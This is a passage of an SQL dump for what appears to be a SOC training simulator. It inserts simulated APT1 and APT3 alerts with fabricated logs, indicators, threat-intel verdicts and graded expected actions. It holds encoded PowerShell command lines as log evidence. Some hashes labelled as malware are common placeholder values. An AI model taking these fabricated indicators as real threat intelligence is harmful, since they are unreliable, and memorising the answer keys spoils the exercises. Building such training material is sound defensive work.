4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T09:23:45Z\\\",\\\"event_id\\\":\\\"RECOVERY-20231015-0001\\\",\\\"source\\\":\\\"system_recovery\\\",\\\"action\\\":\\\"remediation_implemented\\\",\\\"affected_systems\\\":[{\\\"hostname\\\":\\\"server1.internal.network\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.15\\\",\\\"malicious_ip\\\":\\\"198.51.100.34\\\",\\\"compromised_user\\\":\\\"j.doe\\\",\\\"affected_files\\\":[{\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\"}],\\\"remediation_actions\\\":[\\\"blocked_ip\\\",\\\"reset_credentials\\\",\\\"removed_malicious_files\\\"]}]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(379, 'Phishing Email Detected', 'medium', 'Email Gateway Logs', 'APT1 has initiated the attack by sending a spear-phishing email containing a malicious attachment to gain initial access.', 'Initial Access', 'T1566.001 - Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:34Z\",\"email_id\":\"c2b2d5f8-8f5a-4e6b-bef8-7b2d1e2e9f30\",\"from\":\"attacker@maliciousdomain.com\",\"to\":\"victim@targetdomain.com\",\"subject\":\"Urgent: Update Your Account Information\",\"attachment\":\"Invoice_2023.pdf.exe\",\"attachment_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36\"}', '2026-01-04 00:59:40', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"attacker@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Domain associated with known phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as a trojan used by APT1.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Abuse DB\",\"verdict\":\"malicious\",\"details\":\"IP used in previous phishing attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Invoice_2023.pdf.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"File name mimics legitimate invoice documents.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected\",\"date\":\"2026-02-01T20:32:18.975Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(380, 'Malicious Payload Execution', 'high', 'Endpoint Detection and Response (EDR) logs', 'The malicious attachment was opened, leading to the execution of a payload that attempts to establish a foothold within the network.', 'Execution', 'T1059.001 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"4624\",\"user\":\"jdoe\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"203.0.113.45\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -EncodedCommand aW1wb3J0LXNlc3Npb24=\",\"file_hash\":\"b19d2f1e3c8b4f1b8f2e8a5c6d3a2b7c\",\"filename\":\"malicious_attachment.docx\",\"threat_level\":\"high\",\"description\":\"Suspicious PowerShell command execution detected.\"}', '2026-01-04 00:59:40', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP used by user jdoe.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"reputation_database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b19d2f1e3c8b4f1b8f2e8a5c6d3a2b7c\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_attachment.docx\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"suspicious\",\"details\":\"File used to deliver malicious payload.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"active_directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(381, 'Persistence Mechanism Installed', 'medium', 'Registry and Scheduled Task Logs', 'APT1 establishes persistence by creating scheduled tasks and modifying registry keys to maintain access even after reboots.', 'Persistence', 'T1053.005', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:52:35Z\",\"event_id\":7045,\"source\":\"Service Control Manager\",\"description\":\"A service was installed in the system.\",\"service_name\":\"UpdateService\",\"service_file\":\"C:\\\\Windows\\\\System32\\\\svchost.exe -k netsvcs\",\"registry_modification\":\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\UpdateService\",\"scheduled_task_creation\":{\"task_name\":\"UpdateTask\",\"task_file\":\"C:\\\\Windows\\\\System32\\\\updatetask.exe\",\"task_user\":\"SYSTEM\"},\"internal_ip\":\"10.0.0.15\",\"external_ip\":\"192.168.1.100\",\"attacker_ip\":\"203.0.113.45\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"admin\"}', '2026-01-04 00:59:40', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT1 activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known malware used by APT1.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"suspicious\",\"details\":\"Username used in suspicious activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.977Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:52:35Z\\\",\\\"event_id\\\":7045,\\\"source\\\":\\\"Service Control Manager\\\",\\\"description\\\":\\\"A service was installed in the system.\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\",\\\"registry_modification\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\UpdateService\\\",\\\"scheduled_task_creation\\\":{\\\"task_name\\\":\\\"UpdateTask\\\",\\\"task_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updatetask.exe\\\",\\\"task_user\\\":\\\"SYSTEM\\\"},\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"external_ip\\\":\\\"192.168.1.100\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"admin\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.977Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:52:35Z\\\",\\\"event_id\\\":7045,\\\"source\\\":\\\"Service Control Manager\\\",\\\"description\\\":\\\"A service was installed in the system.\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\",\\\"registry_modification\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\UpdateService\\\",\\\"scheduled_task_creation\\\":{\\\"task_name\\\":\\\"UpdateTask\\\",\\\"task_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updatetask.exe\\\",\\\"task_user\\\":\\\"SYSTEM\\\"},\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"external_ip\\\":\\\"192.168.1.100\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"admin\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.977Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:52:35Z\\\",\\\"event_id\\\":7045,\\\"source\\\":\\\"Service Control Manager\\\",\\\"description\\\":\\\"A service was installed in the system.\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\",\\\"registry_modification\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\UpdateService\\\",\\\"scheduled_task_creation\\\":{\\\"task_name\\\":\\\"UpdateTask\\\",\\\"task_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updatetask.exe\\\",\\\"task_user\\\":\\\"SYSTEM\\\"},\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"external_ip\\\":\\\"192.168.1.100\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"admin\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.977Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:52:35Z\\\",\\\"event_id\\\":7045,\\\"source\\\":\\\"Service Control Manager\\\",\\\"description\\\":\\\"A service was installed in the system.\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\",\\\"registry_modification\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\UpdateService\\\",\\\"scheduled_task_creation\\\":{\\\"task_name\\\":\\\"UpdateTask\\\",\\\"task_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updatetask.exe\\\",\\\"task_user\\\":\\\"SYSTEM\\\"},\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"external_ip\\\":\\\"192.168.1.100\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"admin\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.977Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:52:35Z\\\",\\\"event_id\\\":7045,\\\"source\\\":\\\"Service Control Manager\\\",\\\"description\\\":\\\"A service was installed in the system.\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe -k netsvcs\\\",\\\"registry_modification\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\UpdateService\\\",\\\"scheduled_task_creation\\\":{\\\"task_name\\\":\\\"UpdateTask\\\",\\\"task_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updatetask.exe\\\",\\\"task_user\\\":\\\"SYSTEM\\\"},\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"external_ip\\\":\\\"192.168.1.100\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"admin\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(382, 'Credential Dumping Detected', 'high', 'Security Information and Event Management (SIEM) alerts', 'APT1 is attempting lateral movement by utilizing harvested credentials to access critical systems within the network. Anomalous login attempts detected from an unauthorized source IP address.', 'Lateral Movement', 'T1003 - Credential Dumping', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:17Z\",\"event_id\":\"4625\",\"log_source\":\"Windows Security Log\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"username\":\"admin_user\",\"logon_type\":\"3\",\"failure_reason\":\"Unknown user name or bad password\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\lsass.exe\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"event_message\":\"An account failed to log on. Subject: Security ID: NULL SID, Account Name: -, Logon Process: NtLmSsp, Authentication Package: NTLM, Workstation Name: -\"}', '2026-01-04 00:59:40', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a critical system.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with credential dumping malware.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Username of a privileged account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.978Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:17Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin_user\\\",\\\"logon_type\\\":\\\"3\\\",\\\"failure_reason\\\":\\\"Unknown user name or bad password\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event_message\\\":\\\"An account failed to log on. Subject: Security ID: NULL SID, Account Name: -, Logon Process: NtLmSsp, Authentication Package: NTLM, Workstation Name: -\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.978Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:17Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin_user\\\",\\\"logon_type\\\":\\\"3\\\",\\\"failure_reason\\\":\\\"Unknown user name or bad password\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event_message\\\":\\\"An account failed to log on. Subject: Security ID: NULL SID, Account Name: -, Logon Process: NtLmSsp, Authentication Package: NTLM, Workstation Name: -\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.978Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:17Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin_user\\\",\\\"logon_type\\\":\\\"3\\\",\\\"failure_reason\\\":\\\"Unknown user name or bad password\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event_message\\\":\\\"An account failed to log on. Subject: Security ID: NULL SID, Account Name: -, Logon Process: NtLmSsp, Authentication Package: NTLM, Workstation Name: -\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.978Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:17Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin_user\\\",\\\"logon_type\\\":\\\"3\\\",\\\"failure_reason\\\":\\\"Unknown user name or bad password\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event_message\\\":\\\"An account failed to log on. Subject: Security ID: NULL SID, Account Name: -, Logon Process: NtLmSsp, Authentication Package: NTLM, Workstation Name: -\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.978Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:17Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin_user\\\",\\\"logon_type\\\":\\\"3\\\",\\\"failure_reason\\\":\\\"Unknown user name or bad password\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event_message\\\":\\\"An account failed to log on. Subject: Security ID: NULL SID, Account Name: -, Logon Process: NtLmSsp, Authentication Package: NTLM, Workstation Name: -\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(383, 'Data Exfiltration Attempt', 'high', 'Network Traffic Analysis', 'In the final phase, APT1 attempts to exfiltrate sensitive data to an external server, marking the culmination of the attack.', 'Exfiltration', 'T1041', 1, 'new', NULL, '{\"timestamp\":\"2023-10-16T14:22:35Z\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"method\":\"POST\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"bytes_sent\":10485760,\"uri\":\"/api/upload\",\"filename\":\"confidential_data.zip\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"username\":\"john.doe\",\"status_code\":200}', '2026-01-04 00:59:40', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint_database\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT1 command and control servers.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"File hash matches known malicious data exfiltration tool.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"malicious\",\"details\":\"File contains sensitive data intended for exfiltration.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_hr\",\"verdict\":\"internal\",\"details\":\"Legitimate user credentials possibly compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(384, 'Spear Phishing Email Detected', 'medium', 'Email Gateway Logs', 'APT3 initiates their attack with a well-crafted spear phishing email, targeting key employees to gain a foothold into the network. The email contains a malicious attachment designed to exploit the recipient\'s system.', 'Initial Access', 'T1566.001', 1, 'Closed', 290, '{\"timestamp\":\"2023-10-12T14:22:35Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.25\",\"email_subject\":\"Urgent: Action Required for Your Account\",\"email_sender\":\"john.doe@fakecompany.com\",\"email_recipient\":\"jane.smith@targetcompany.com\",\"attachment\":{\"filename\":\"Invoice_2023.docx\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\"}', '2026-01-04 02:06:57', '2026-03-12 15:08:59', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with APT3 command and control servers.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"IP address of targeted employee within the network.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"john.doe@fakecompany.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Source Intelligence\",\"verdict\":\"malicious\",\"details\":\"Email address used in a known spear phishing campaign by APT3.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with a malicious document used in phishing attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear Phishing Email Detected\",\"date\":\"2026-02-01T20:32:18.980Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
